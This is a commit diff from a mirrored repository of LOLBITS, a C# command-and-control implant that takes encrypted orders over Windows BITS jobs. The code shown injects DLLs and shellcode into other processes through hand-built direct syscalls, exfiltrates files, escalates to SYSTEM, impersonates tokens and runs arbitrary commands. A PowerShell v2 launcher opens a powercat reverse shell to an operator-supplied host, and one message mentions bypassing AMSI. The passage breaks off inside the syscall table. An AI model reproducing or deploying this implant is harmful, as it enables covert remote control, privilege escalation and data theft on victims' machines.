mirror of
https://github.com/Kudaes/LOLBITS
synced 2026-08-09 12:10:48 +00:00
Added syscall for OpenProcess
This commit is contained in:
@@ -0,0 +1,9 @@
|
||||
namespace LOLBITS.Controlling
|
||||
{
|
||||
public class Content
|
||||
{
|
||||
public string NextId { get; set; }
|
||||
public string NextAuth { get; set; }
|
||||
public string[] Commands { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,441 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Management;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using LOLBITS.Loading;
|
||||
using LOLBITS.TokenManagement;
|
||||
using Newtonsoft.Json;
|
||||
using BITS4 = BITSReference4_0;
|
||||
|
||||
namespace LOLBITS.Controlling
|
||||
{
|
||||
public class Controller
|
||||
{
|
||||
private const string ContId = "7061796c676164";
|
||||
private readonly string _p;
|
||||
private string _id;
|
||||
private string _auth;
|
||||
private string[] _restoreKeys;
|
||||
private readonly string _tempPath;
|
||||
private readonly TokenManager _tokenManager;
|
||||
private readonly Jobs _jobsManager;
|
||||
private readonly SysCallManager _sysCall;
|
||||
|
||||
public Controller(string id, string url,string password)
|
||||
{
|
||||
_id = id;
|
||||
_p = password;
|
||||
_jobsManager = new Jobs(url);
|
||||
_sysCall = new SysCallManager();
|
||||
_tokenManager = new TokenManager(_sysCall);
|
||||
|
||||
_tempPath = Environment.GetEnvironmentVariable("temp") ?? @"C:\Windows\Temp\";
|
||||
}
|
||||
|
||||
public string GetPassword()
|
||||
{
|
||||
return _p;
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
const string startBits = "sc start BITS";
|
||||
Utils.ExecuteCommand(startBits);
|
||||
Thread.Sleep(500);
|
||||
var filePath = _tempPath + @"\" + _id;
|
||||
|
||||
if (!TryInitialCon(filePath)) return;
|
||||
|
||||
var file = GetEncryptedFileContent(filePath, out var unused);
|
||||
_id = file.NextId;
|
||||
_auth = file.NextAuth;
|
||||
_restoreKeys = file.Commands;
|
||||
var domain = Environment.GetEnvironmentVariable("userdomain");
|
||||
var user = Environment.GetEnvironmentVariable("username");
|
||||
var response = new Response(domain + @"\" + user, _auth);
|
||||
filePath = _tempPath + @"\" + _id + ".txt";
|
||||
EncryptResponseIntoFile(filePath, response);
|
||||
|
||||
_jobsManager.Send(_id, filePath);
|
||||
|
||||
Loop();
|
||||
|
||||
/*Rectangle bounds = Screen.GetBounds(Point.Empty);
|
||||
using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
|
||||
{
|
||||
using (Graphics g = Graphics.FromImage(bitmap))
|
||||
{
|
||||
g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
|
||||
}
|
||||
bitmap.Save(@"c:\users\pccom\desktop\test.jpg", ImageFormat.Jpeg);
|
||||
}*/
|
||||
}
|
||||
|
||||
private void Loop()
|
||||
{
|
||||
var exit = false;
|
||||
|
||||
while (!exit)
|
||||
{
|
||||
var filePath = _tempPath + @"\" + _id;
|
||||
var headers = "reqId: " + _auth;
|
||||
|
||||
Console.WriteLine("next: " + _id);
|
||||
|
||||
if (_jobsManager.Get(_id, filePath, headers, BITS4.BG_JOB_PRIORITY.BG_JOB_PRIORITY_NORMAL))
|
||||
{
|
||||
var file = GetEncryptedFileContent(filePath, out var unused);
|
||||
|
||||
_id = file.NextId;
|
||||
_auth = file.NextAuth;
|
||||
Console.WriteLine("Id: " + _id);
|
||||
Console.WriteLine("Auth: " + _auth);
|
||||
|
||||
if (file.Commands.Length > 0)
|
||||
DoSomething(file);
|
||||
|
||||
Thread.Sleep(1000);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (_restoreKeys.Length > 0)
|
||||
{
|
||||
_auth = _restoreKeys[_restoreKeys.Length - 1];
|
||||
Array.Resize(ref _restoreKeys,_restoreKeys.Length - 1);
|
||||
}
|
||||
else
|
||||
exit = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DoSomething(Content file)
|
||||
{
|
||||
var rps = "";
|
||||
|
||||
try
|
||||
{
|
||||
switch (file.Commands[0])
|
||||
{
|
||||
case "inject_dll":
|
||||
{
|
||||
var fileP = _tempPath + @"\" + _id;
|
||||
var headers = "reqId: " + _auth + "\r\ncontid: " + ContId;
|
||||
|
||||
if (_jobsManager.Get(_id, fileP, headers, BITS4.BG_JOB_PRIORITY.BG_JOB_PRIORITY_FOREGROUND))
|
||||
{
|
||||
try
|
||||
{
|
||||
var dll = LoadDll(fileP);
|
||||
var method = file.Commands[1];
|
||||
var args = "";
|
||||
|
||||
for (var i = 2; i < file.Commands.Length; i++)
|
||||
{
|
||||
args += file.Commands[i];
|
||||
if (i < file.Commands.Length)
|
||||
args += " ";
|
||||
}
|
||||
|
||||
var arguments = new string[] { args };
|
||||
|
||||
LauncherDll.Main(method, arguments, dll);
|
||||
rps = "Dll injected!";
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
rps = "ERR:Fatal error occurred while trying to inject the dll.\n";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
rps = "ERR:Dll not found!\n";
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "inject_shellcode":
|
||||
{
|
||||
var fileP = _tempPath + @"\" + _id;
|
||||
var headers = "reqId: " + _auth + "\r\ncontid: " + ContId;
|
||||
var pid = -1;
|
||||
if (file.Commands.Length >= 2)
|
||||
pid = int.Parse(file.Commands[1]);
|
||||
|
||||
if (_jobsManager.Get(_id, fileP, headers, BITS4.BG_JOB_PRIORITY.BG_JOB_PRIORITY_FOREGROUND))
|
||||
{
|
||||
byte[] sh;
|
||||
GetEncryptedFileContent(fileP, out sh);
|
||||
|
||||
try
|
||||
{
|
||||
LauncherShellCode.Main(sh, _sysCall, pid);
|
||||
rps = "Shellcode injected!\n";
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
rps = "ERR:Fatal error occurred while trying to inject shellCode.\n";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
rps = "ERR:Shellcode file not found!\n";
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "powershell":
|
||||
{
|
||||
rps = Utils.ExecuteCommand("powershell -V 2 /C Write-Host hi");
|
||||
|
||||
if (rps.Contains("hi"))
|
||||
{
|
||||
LauncherPowershell.Main(file.Commands[1], file.Commands[2]);
|
||||
rps = "You should have your Powershell at " + file.Commands[1] + ":" + file.Commands[2] + "!\n";
|
||||
}
|
||||
else
|
||||
{
|
||||
rps = "Version 2 of Powershell not available. Try injecting EvilSalsa by CyberVaca in order to use powershell without am" + "si.\n";
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "send":
|
||||
{
|
||||
var fileP = _tempPath + @"\" + _id;
|
||||
var headers = "reqId: " + _auth + "\r\ncontid: " + ContId;
|
||||
|
||||
if (_jobsManager.Get(_id, fileP, headers, BITS4.BG_JOB_PRIORITY.BG_JOB_PRIORITY_FOREGROUND))
|
||||
{
|
||||
File.Copy(fileP, file.Commands[1], true);
|
||||
rps = "Dowload finished.\n";
|
||||
}
|
||||
else
|
||||
{
|
||||
rps = "ERR:Download failed!\n";
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
case "exfiltrate":
|
||||
{
|
||||
if (File.Exists(file.Commands[1]))
|
||||
{
|
||||
if (_jobsManager.Send(file.Commands[2], file.Commands[1]))
|
||||
{
|
||||
rps = "Exfiltration succeed.\n";
|
||||
|
||||
}
|
||||
else
|
||||
rps = "ERR:Exfiltration failed!\n";
|
||||
}
|
||||
else
|
||||
rps = "ERR:File to exfiltrate not found!\n";
|
||||
|
||||
break;
|
||||
}
|
||||
case "getsystem":
|
||||
{
|
||||
if (Utils.IsHighIntegrity(_sysCall))
|
||||
rps = TokenManager.GetSystem() ? "We are System!\n" : "ERR:Process failed! Is this process running with high integrity level?\n";
|
||||
else
|
||||
rps = "ERR:Process failed! Is this process running with high integrity level?\n";
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "rev2self":
|
||||
{
|
||||
TokenManager.Rev2Self();
|
||||
rps = "Welcome back.\n";
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "runas":
|
||||
{
|
||||
string user = "", domain = "", password = "";
|
||||
var userData = file.Commands[1].Split('\\');
|
||||
|
||||
if (userData.Length == 1)
|
||||
{
|
||||
domain = ".";
|
||||
user = userData[0];
|
||||
}
|
||||
else
|
||||
{
|
||||
domain = userData[0];
|
||||
user = userData[1];
|
||||
}
|
||||
|
||||
password = file.Commands[2];
|
||||
|
||||
rps = TokenManager.RunAs(domain, user, password) ? "Success!" : "ERR:Invalid credentials.";
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "list":
|
||||
{
|
||||
rps = GetProcessInfo();
|
||||
break;
|
||||
}
|
||||
|
||||
case "impersonate":
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_tokenManager.Impersonate(int.Parse(file.Commands[1])))
|
||||
rps = "Impersonation achieved!\n";
|
||||
else
|
||||
rps = "ERR: Not enough privileges!\n";
|
||||
}
|
||||
catch
|
||||
{
|
||||
rps = "ERR: Impersonation failed!\n";
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "exit":
|
||||
{
|
||||
Environment.Exit(0);
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
rps = Utils.ExecuteCommand(file.Commands[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
rps = "ERR: Something went wrong!";
|
||||
}
|
||||
|
||||
var response = new Response(rps, _auth);
|
||||
var filePath = _tempPath + @"\" + _id + ".txt";
|
||||
EncryptResponseIntoFile(filePath, response);
|
||||
TrySend(filePath);
|
||||
}
|
||||
|
||||
private static string GetProcessInfo()
|
||||
{
|
||||
var output = "\n";
|
||||
output = string.Concat(output, $"{"NAME",30}|{"PID",10}|{"ACCOUNT",20}|\n");
|
||||
|
||||
foreach (var process in Process.GetProcesses())
|
||||
{
|
||||
var name = process.ProcessName;
|
||||
var processId = process.Id;
|
||||
|
||||
output = string.Concat(output, $"{name,30}|{processId,10}|{GetProcessOwner(processId),20}|\n");
|
||||
}
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
private static string GetProcessOwner (int processId)
|
||||
{
|
||||
var query = "Select * From Win32_Process Where ProcessID = " + processId;
|
||||
var moSearcher = new ManagementObjectSearcher(query);
|
||||
var moCollection = moSearcher.Get();
|
||||
|
||||
foreach (var o in moCollection)
|
||||
{
|
||||
var mo = (ManagementObject) o;
|
||||
var args = new string[] { string.Empty };
|
||||
var returnVal = Convert.ToInt32(mo.InvokeMethod("GetOwner", args));
|
||||
if (returnVal == 0)
|
||||
return args[0];
|
||||
}
|
||||
|
||||
return "UNKNOWN";
|
||||
}
|
||||
private bool TrySend(string filePath)
|
||||
{
|
||||
var cont = 0;
|
||||
|
||||
while (cont < 5)
|
||||
{
|
||||
if (_jobsManager.Send(_id, filePath))
|
||||
return true;
|
||||
|
||||
++cont;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private bool TryInitialCon(string filePath)
|
||||
{
|
||||
var cont = 0;
|
||||
while (cont < 5)
|
||||
{
|
||||
if(_jobsManager.Get(_id, filePath, null,BITS4.BG_JOB_PRIORITY.BG_JOB_PRIORITY_NORMAL))
|
||||
return true;
|
||||
|
||||
++cont;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private void EncryptResponseIntoFile(string filePath, Response response)
|
||||
{
|
||||
var jsonResponse = JsonConvert.SerializeObject(response);
|
||||
var contentDecrypted = Encoding.UTF8.GetBytes(jsonResponse);
|
||||
var xKey = Encoding.ASCII.GetBytes(_p);
|
||||
var contentEncrypted = Rc4.Encrypt(xKey, contentDecrypted);
|
||||
var hexadecimal = BiteArrayToHex.Convert(contentEncrypted);
|
||||
var fileContent = Zipper.Compress(hexadecimal);
|
||||
|
||||
File.WriteAllText(filePath, fileContent);
|
||||
}
|
||||
|
||||
private Content GetEncryptedFileContent(string filePath, out byte[] decrypted)
|
||||
{
|
||||
var fileStr = File.ReadAllText(filePath);
|
||||
var xKey = Encoding.ASCII.GetBytes(_p);
|
||||
var hexadecimal = Zipper.Decompress(fileStr);
|
||||
var contentEncrypted = StringHexToByteArray.Convert(hexadecimal);
|
||||
var contentDecrypted = Rc4.Decrypt(xKey, contentEncrypted);
|
||||
|
||||
decrypted = contentDecrypted;
|
||||
|
||||
var contentEncoded = Encoding.UTF8.GetString(contentDecrypted);
|
||||
|
||||
try
|
||||
{
|
||||
var final = JsonConvert.DeserializeObject<Content>(contentEncoded);
|
||||
return final;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Assembly LoadDll(string filePath)
|
||||
{
|
||||
var fileStr = File.ReadAllText(filePath);
|
||||
var xKey = Encoding.ASCII.GetBytes(_p);
|
||||
var hexadecimal = Zipper.Decompress(fileStr);
|
||||
var contentEncrypted = StringHexToByteArray.Convert(hexadecimal);
|
||||
var contentDecrypted = Rc4.Decrypt(xKey, contentEncrypted);
|
||||
|
||||
var dll = Assembly.Load(contentDecrypted);
|
||||
|
||||
return dll;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Threading;
|
||||
|
||||
namespace LOLBITS.Controlling
|
||||
{
|
||||
public class LauncherDll
|
||||
{
|
||||
public static void Main(string method, string[] arguments, Assembly dll)
|
||||
{
|
||||
var obj = new LauncherDll();
|
||||
|
||||
var thr1 = new Thread(ExecuteDllInMemory);
|
||||
|
||||
var a = new object []{ method, arguments, dll };
|
||||
|
||||
thr1.Start(a);
|
||||
}
|
||||
|
||||
private static void ExecuteDllInMemory(object args)
|
||||
{
|
||||
var a = (object[])args;
|
||||
var methodArgument = (string)a[0];
|
||||
var arguments = (string[])a[1];
|
||||
var dll = (Assembly)a[2];
|
||||
var myType = dll.GetTypes()[0];
|
||||
var method = myType.GetMethod(methodArgument);
|
||||
var myInstance = Activator.CreateInstance(myType);
|
||||
|
||||
method?.Invoke(myInstance, new object[] { arguments });
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System;
|
||||
using System.Management.Automation.Runspaces;
|
||||
using System.Threading;
|
||||
|
||||
namespace LOLBITS.Controlling
|
||||
{
|
||||
public class LauncherPowershell
|
||||
{
|
||||
public static void Main(string ip, string port)
|
||||
{
|
||||
var obj = new LauncherPowershell();
|
||||
|
||||
var thr1 = new Thread(ExecutePowershell);
|
||||
|
||||
var a = new object[] {ip, port };
|
||||
thr1.Start(a);
|
||||
}
|
||||
|
||||
private static void ExecutePowershell(object args)
|
||||
{
|
||||
var a = (object[])args;
|
||||
var ip = (string)a[0];
|
||||
var port = (string)a[1];
|
||||
var instance = new PowerShellProcessInstance(new Version(2, 0), null, null, false);
|
||||
|
||||
using (var rs = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
|
||||
{
|
||||
rs.Open();
|
||||
|
||||
var pipeline = rs.CreatePipeline();
|
||||
pipeline.Commands.AddScript(PowerCat.PowerCatBase64());
|
||||
pipeline.Commands.AddScript("powercat -c " + ip + " " + port + " -ep");
|
||||
pipeline.Invoke();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,200 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace LOLBITS.Controlling
|
||||
{
|
||||
public class LauncherShellCode
|
||||
{
|
||||
[Flags]
|
||||
public enum AllocationType : uint
|
||||
{
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Reset = 0x80000,
|
||||
LargePages = 0x20000000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection : uint
|
||||
{
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadwrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
Readonly = 0x02,
|
||||
Readwrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierFlag = 0x100,
|
||||
NocacheModifierFlag = 0x200,
|
||||
WriteCombineModifierFlag = 0x400
|
||||
}
|
||||
|
||||
public enum FreeType : uint
|
||||
{
|
||||
MemDeCommit = 0x4000,
|
||||
MemRelease = 0x8000
|
||||
}
|
||||
|
||||
public unsafe struct MyBuffer32
|
||||
{
|
||||
public fixed char FixedBuffer[32];
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public unsafe struct Unknown32
|
||||
{
|
||||
public readonly uint Size;
|
||||
public readonly uint Unknown1;
|
||||
public readonly uint Unknown2;
|
||||
public readonly MyBuffer32* Unknown3;
|
||||
public readonly uint Unknown4;
|
||||
public readonly uint Unknown5;
|
||||
public readonly uint Unknown6;
|
||||
public readonly MyBuffer32* Unknown7;
|
||||
public readonly uint Unknown8;
|
||||
}
|
||||
|
||||
public unsafe struct MyBuffer64
|
||||
{
|
||||
public fixed char FixedBuffer[64];
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public unsafe struct Unknown64
|
||||
{
|
||||
public long Size;
|
||||
public long Unknown1;
|
||||
public long Unknown2;
|
||||
public MyBuffer64* UnknownPtr;
|
||||
public long Unknown3;
|
||||
public long Unknown4;
|
||||
public long Unknown5;
|
||||
public MyBuffer64* UnknownPtr2;
|
||||
public long Unknown6;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType lAllocationType, MemoryProtection flProtect);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
private delegate int NtAllocateVirtualMemory(IntPtr processHandle, out IntPtr baseAddress, uint zeroBits, out UIntPtr regionSize, AllocationType allocationType, MemoryProtection protect);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
private delegate int NtWriteVirtualMemory(IntPtr processHandle, IntPtr address, byte[] buffer, UIntPtr size, IntPtr bytesWrittenBuffer);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
internal delegate int NtCreateThreadEx32(out IntPtr hThread, Int32 desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool createSuspended,
|
||||
uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, out Unknown32 lpBytesBuffer);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)] //NtCreateThreadEx expect different kind of parameters for 32 and 64 bits procesess.
|
||||
private delegate int NtCreateThreadEx64(out IntPtr hThread, long desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool createSuspended,
|
||||
ulong stackZeroBits, ulong sizeOfStackCommit, ulong sizeOfStackReserve, out Unknown64 lpBytesBuffer);
|
||||
|
||||
|
||||
public static void Main(byte[] shellCode, SysCallManager sysCall, int pid)
|
||||
{
|
||||
var obj = new LauncherShellCode();
|
||||
|
||||
var thr1 = new Thread(ExecuteShellCodeInMemory);
|
||||
|
||||
var a = new object[] { shellCode, sysCall, pid};
|
||||
|
||||
thr1.Start(a);
|
||||
}
|
||||
|
||||
private static unsafe void ExecuteShellCodeInMemory(object args)
|
||||
{
|
||||
var parameterArguments = (object[])args;
|
||||
var sc = (byte[]) parameterArguments[0];
|
||||
var sysCall = (SysCallManager)parameterArguments[1];
|
||||
var pid = (int)parameterArguments[2];
|
||||
var handle = Process.GetCurrentProcess().Handle;
|
||||
|
||||
if(pid != -1)
|
||||
{
|
||||
var token = IntPtr.Zero;
|
||||
Utils.GetProcessToken(Process.GetCurrentProcess().Handle, Utils.TokenAccessFlags.TokenAdjustPrivileges, out token, sysCall);
|
||||
|
||||
var l = new List<string>();
|
||||
l.Add("SeDebugPrivilege");
|
||||
Utils.EnablePrivileges(token, l);
|
||||
|
||||
Utils.GetProcessHandle(pid, out handle, Utils.ProcessAccessFlags.CreateThread | Utils.ProcessAccessFlags.QueryInformation |
|
||||
Utils.ProcessAccessFlags.VirtualMemoryOperation | Utils.ProcessAccessFlags.VirtualMemoryWrite | Utils.ProcessAccessFlags.VirtualMemoryRead, sysCall);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var baseAddress = IntPtr.Zero;
|
||||
var shellCode = sysCall.GetSysCallAsm("NtAllocateVirtualMemory");
|
||||
var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr) shellCode.Length,
|
||||
AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite);
|
||||
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
|
||||
var sysCallDelegate =
|
||||
Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtAllocateVirtualMemory));
|
||||
|
||||
var arguments = new object[]
|
||||
{
|
||||
handle, baseAddress, (uint) 0, (UIntPtr) (sc.Length + 1),
|
||||
AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite
|
||||
};
|
||||
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
|
||||
|
||||
if ((int) returnValue != 0) return;
|
||||
|
||||
baseAddress = (IntPtr) arguments[1]; //required!
|
||||
|
||||
shellCode = sysCall.GetSysCallAsm("NtWriteVirtualMemory");
|
||||
shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr) shellCode.Length,
|
||||
AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite);
|
||||
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
|
||||
sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtWriteVirtualMemory));
|
||||
|
||||
arguments = new object[] {handle, baseAddress, sc, (UIntPtr) (sc.Length + 1), IntPtr.Zero};
|
||||
|
||||
returnValue = sysCallDelegate.DynamicInvoke(arguments);
|
||||
baseAddress = (IntPtr) arguments[1];
|
||||
|
||||
if ((int) returnValue != 0) return;
|
||||
|
||||
var a = new MyBuffer64();
|
||||
var b = new MyBuffer64();
|
||||
|
||||
var u = new Unknown64();
|
||||
u.Size = (uint) Marshal.SizeOf(u);
|
||||
u.Unknown1 = 65539;
|
||||
u.Unknown2 = 16;
|
||||
u.UnknownPtr = &a;
|
||||
u.Unknown4 = 65540;
|
||||
u.Unknown5 = 8;
|
||||
u.Unknown6 = 0;
|
||||
u.UnknownPtr2 = &b;
|
||||
u.Unknown3 = 0;
|
||||
|
||||
shellCode = sysCall.GetSysCallAsm("NtCreateThreadEx");
|
||||
shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr) shellCode.Length,
|
||||
AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite);
|
||||
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
|
||||
sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtCreateThreadEx64));
|
||||
|
||||
arguments = new object[]
|
||||
{
|
||||
IntPtr.Zero, 0x001FFFFF, IntPtr.Zero, handle, baseAddress, IntPtr.Zero, false, (ulong) 0, (ulong) 0,
|
||||
(ulong) 0, u
|
||||
};
|
||||
returnValue = sysCallDelegate.DynamicInvoke(arguments);
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,14 @@
|
||||
namespace LOLBITS.Controlling
|
||||
{
|
||||
public class Response
|
||||
{
|
||||
public Response(string output, string reqId)
|
||||
{
|
||||
Output = output;
|
||||
ReqId = reqId;
|
||||
}
|
||||
|
||||
public string Output { get; set; }
|
||||
public string ReqId { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace LOLBITS
|
||||
{
|
||||
public class SysCallManager
|
||||
{
|
||||
private readonly Dictionary<string, Dictionary<string, int>> _dicWinServer2008 = new Dictionary<string, Dictionary<string, int>>();
|
||||
private readonly Dictionary<string, Dictionary<string, int>> _dicWinServer2012 = new Dictionary<string, Dictionary<string, int>>();
|
||||
private readonly Dictionary<string, Dictionary<string, int>> _dicWin7 = new Dictionary<string, Dictionary<string, int>>();
|
||||
private readonly Dictionary<string, Dictionary<string, int>> _dicWin8 = new Dictionary<string, Dictionary<string, int>>();
|
||||
private readonly Dictionary<string, Dictionary<string, int>> _dicWin10 = new Dictionary<string, Dictionary<string, int>>();
|
||||
|
||||
private readonly byte[] _shellCode = {
|
||||
0x4C, 0x8B, 0xD1, // mov r10, rcx
|
||||
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0x00 <- (sysCall identifier)
|
||||
0x0F, 0x05, // sysCall
|
||||
0xC3 // ret
|
||||
};
|
||||
|
||||
public SysCallManager()
|
||||
{
|
||||
/////////////NtAllocateVirtualMemory
|
||||
var val2008 = new Dictionary<string, int>();
|
||||
var val2012 = new Dictionary<string, int>();
|
||||
var val7 = new Dictionary<string, int>();
|
||||
var val8 = new Dictionary<string, int>();
|
||||
var val10 = new Dictionary<string, int>();
|
||||
|
||||
val2008.Add("UNIQUE", 0x0015);
|
||||
|
||||
val2012.Add("SP0", 0x0016);
|
||||
val2012.Add("R2", 0x0017);
|
||||
|
||||
val7.Add("UNIQUE", 0x0015);
|
||||
|
||||
val8.Add("8.0", 0x0016);
|
||||
val8.Add("8.1", 0x0017);
|
||||
|
||||
val10.Add("UNIQUE", 0x0018);
|
||||
_dicWinServer2008.Add("NtAllocateVirtualMemory", val2008);
|
||||
_dicWinServer2012.Add("NtAllocateVirtualMemory", val2012);
|
||||
_dicWin7.Add("NtAllocateVirtualMemory", val7);
|
||||
_dicWin8.Add("NtAllocateVirtualMemory", val8);
|
||||
_dicWin10.Add("NtAllocateVirtualMemory", val10);
|
||||
|
||||
/////////////NtWriteVirtualMemory
|
||||
val2008 = new Dictionary<string, int>();
|
||||
val2012 = new Dictionary<string, int>();
|
||||
val7 = new Dictionary<string, int>();
|
||||
val8 = new Dictionary<string, int>();
|
||||
val10 = new Dictionary<string, int>();
|
||||
|
||||
val2008.Add("UNIQUE", 0x0037);
|
||||
|
||||
val2012.Add("SP0", 0x0038);
|
||||
val2012.Add("R2", 0x0039);
|
||||
|
||||
val7.Add("UNIQUE", 0x0037);
|
||||
|
||||
val8.Add("8.0", 0x0038);
|
||||
val8.Add("8.1", 0x0039);
|
||||
|
||||
val10.Add("UNIQUE", 0x003A);
|
||||
|
||||
_dicWinServer2008.Add("NtWriteVirtualMemory", val2008);
|
||||
_dicWinServer2012.Add("NtWriteVirtualMemory", val2012);
|
||||
_dicWin7.Add("NtWriteVirtualMemory", val7);
|
||||
_dicWin8.Add("NtWriteVirtualMemory", val8);
|
||||
_dicWin10.Add("NtWriteVirtualMemory", val10);
|
||||
|
||||
/////////////NtCreateThreadEx
|
||||
val2008 = new Dictionary<string, int>();
|
||||
val2012 = new Dictionary<string, int>();
|
||||
val7 = new Dictionary<string, int>();
|
||||
val8 = new Dictionary<string, int>();
|
||||
val10 = new Dictionary<string, int>();
|
||||
|
||||
val2008.Add("UNIQUE", 0x00A5);
|
||||
|
||||
val2012.Add("SP0", 0x00AF);
|
||||
val2012.Add("R2", 0x00B0);
|
||||
|
||||
val7.Add("UNIQUE", 0x00A5);
|
||||
|
||||
val8.Add("8.0", 0x00AF);
|
||||
val8.Add("8.1", 0x00B0);
|
||||
|
||||
val10.Add("1507", 0x00B3);
|
||||
val10.Add("1511", 0x00B4);
|
||||
val10.Add("1607", 0x00B6);
|
||||
val10.Add("1703", 0x00B9);
|
||||
val10.Add("1709", 0x00BA);
|
||||
val10.Add("1803", 0x00BB);
|
||||
val10.Add("1809", 0x00BC);
|
||||
val10.Add("1903", 0x00BD);
|
||||
val10.Add("1909", 0x00BD);
|
||||
|
||||
_dicWinServer2008.Add("NtCreateThreadEx", val2008);
|
||||
_dicWinServer2012.Add("NtCreateThreadEx", val2012);
|
||||
_dicWin7.Add("NtCreateThreadEx", val7);
|
||||
_dicWin8.Add("NtCreateThreadEx", val8);
|
||||
_dicWin10.Add("NtCreateThreadEx", val10);
|
||||
|
||||
/////////////NtOpenProcess
|
||||
val2008 = new Dictionary<string, int>();
|
||||
val2012 = new Dictionary<string, int>();
|
||||
val7 = new Dictionary<string, int>();
|
||||
val8 = new Dictionary<string, int>();
|
||||
val10 = new Dictionary<string, int>();
|
||||
|
||||
val2008.Add("UNIQUE", 0x0023);
|
||||
|
||||
val2012.Add("SP0", 0x0024);
|
||||
val2012.Add("R2", 0x0025);
|
||||
|
||||
val7.Add("UNIQUE", 0x0023);
|
||||
|
||||
val8.Add("8.0", 0x0024);
|
||||
val8.Add("8.1", 0x0025);
|
||||
|
||||
val10.Add("UNIQUE", 0x0026);
|
||||
|
||||
|
||||
_dicWinServer2008.Add("NtOpenProcess", val2008);
|
||||
_dicWinServer2012.Add("NtOpenProcess", val2012);
|
||||
_dicWin7.Add("NtOpenProcess", val7);
|
||||
_dicWin8.Add("NtOpenProcess", val8);
|
||||
_dicWin10.Add("NtOpenProcess", val10);
|
||||
|
||||
/////////////NtOpenProcessToken
|
||||
